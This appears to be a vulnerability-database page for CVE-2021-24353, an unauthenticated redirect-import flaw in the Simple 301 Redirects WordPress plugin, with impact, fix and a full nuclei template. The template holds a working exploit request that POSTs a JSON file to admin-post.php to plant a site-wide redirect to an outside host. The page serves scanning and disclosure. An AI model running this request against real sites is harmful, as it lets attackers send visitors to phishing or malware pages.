HexBrain

Browse / CVEs / CVE-2021-24353

CVE-2021-24353· betterlinks / simple-301-redirects· CWE-862

Simple 301 Redirects by BetterLinks <= 2.0.3 - Unauthenticated Arbitrary Redirect Import

highseverity
8.8CVSS score
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it

The Simple 301 Redirects by BetterLinks plugin for WordPress before 2.0.4 registers its import_data() handler on admin_init with no capability check. In versions 2.0.0 - 2.0.2 the import block also has no nonce check, so an unauthenticated attacker can import an arbitrary set of 301 redirects by POSTing a JSON file to admin-post.php, pointing any path on the site to an attacker-controlled destination (phishing, malware distribution, SEO abuse). 2.0.3 added a nonce check (partial fix) and 2.0.4 added the capability check (full fix). This template proves impact by importing a redirect with no authentication and then confirming the source path now returns a 301 to the injected destination.

Impact

An unauthenticated attacker can create arbitrary site-wide 301 redirects, silently sending visitors to attacker-controlled URLs.

Fix

Update Simple 301 Redirects by BetterLinks to 2.0.4 or later, which adds a capability check before the import and export routines.

How to confirm it

Send: POST /wp-admin/admin-post.php?page=301options&import=true
Positive when: status 200
Send: GET /s3r{{token}}
Positive when: contains in header "Location: http://oast.pro/{{token}}" AND status 301

Run it with nuclei: nuclei -id CVE-2021-24353 -u <target>

The full check
id: CVE-2021-24353

info:
  name: Simple 301 Redirects by BetterLinks <= 2.0.3 - Unauthenticated Arbitrary Redirect Import
  author: DhiyaneshDk
  severity: high
  description: |
    The Simple 301 Redirects by BetterLinks plugin for WordPress before 2.0.4 registers its import_data() handler on admin_init with no capability check. In versions 2.0.0 - 2.0.2 the import block also has no nonce check, so an unauthenticated attacker can import an arbitrary set of 301 redirects by POSTing a JSON file to admin-post.php, pointing any path on the site to an attacker-controlled destination (phishing, malware distribution, SEO abuse). 2.0.3 added a nonce check (partial fix) and 2.0.4 added the capability check (full fix). This template proves impact by importing a redirect with no authentication and then confirming the source path now returns a 301 to the injected destination.
  impact: |
    An unauthenticated attacker can create arbitrary site-wide 301 redirects, silently sending visitors to attacker-controlled URLs.
  remediation: |
    Update Simple 301 Redirects by BetterLinks to 2.0.4 or later, which adds a capability check before the import and export routines.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24353
    - https://wpscan.com/vulnerability/ce8f9648-30fb-4fb9-894e-879dc0f26f98/
    - https://patchstack.com/database/wordpress/plugin/simple-301-redirects-addon-bulk-uploader/vulnerability/
    - https://plugins.trac.wordpress.org/changeset?old_path=/simple-301-redirects/tags/2.0.3&new_path=/simple-301-redirects/tags/2.0.4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.8
    cve-id: CVE-2021-24353
    epss-score: 0.01112
    epss-percentile: 0.66251
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: betterlinks
    product: simple-301-redirects
    framework: wordpress
    publicwww-query: "/wp-content/plugins/simple-301-redirects/"
  tags: cve,cve2021,wordpress,wp-plugin,simple-301-redirects,betterlinks,redirect,unauth,intrusive,vkev

variables:
  token: "{{rand_text_alpha(12)}}"
  boundary: "{{rand_base(24)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php?page=301options&import=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="upload_file"; filename="redirects.json"
        Content-Type: application/json

        {"/s3r{{token}}":"http://oast.pro/{{token}}"}
        --{{boundary}}--

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /s3r{{token}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: http://oast.pro/{{token}}"

      - type: status
        status:
          - 301

References

Use this check only on systems you are authorised to test. Where the data comes from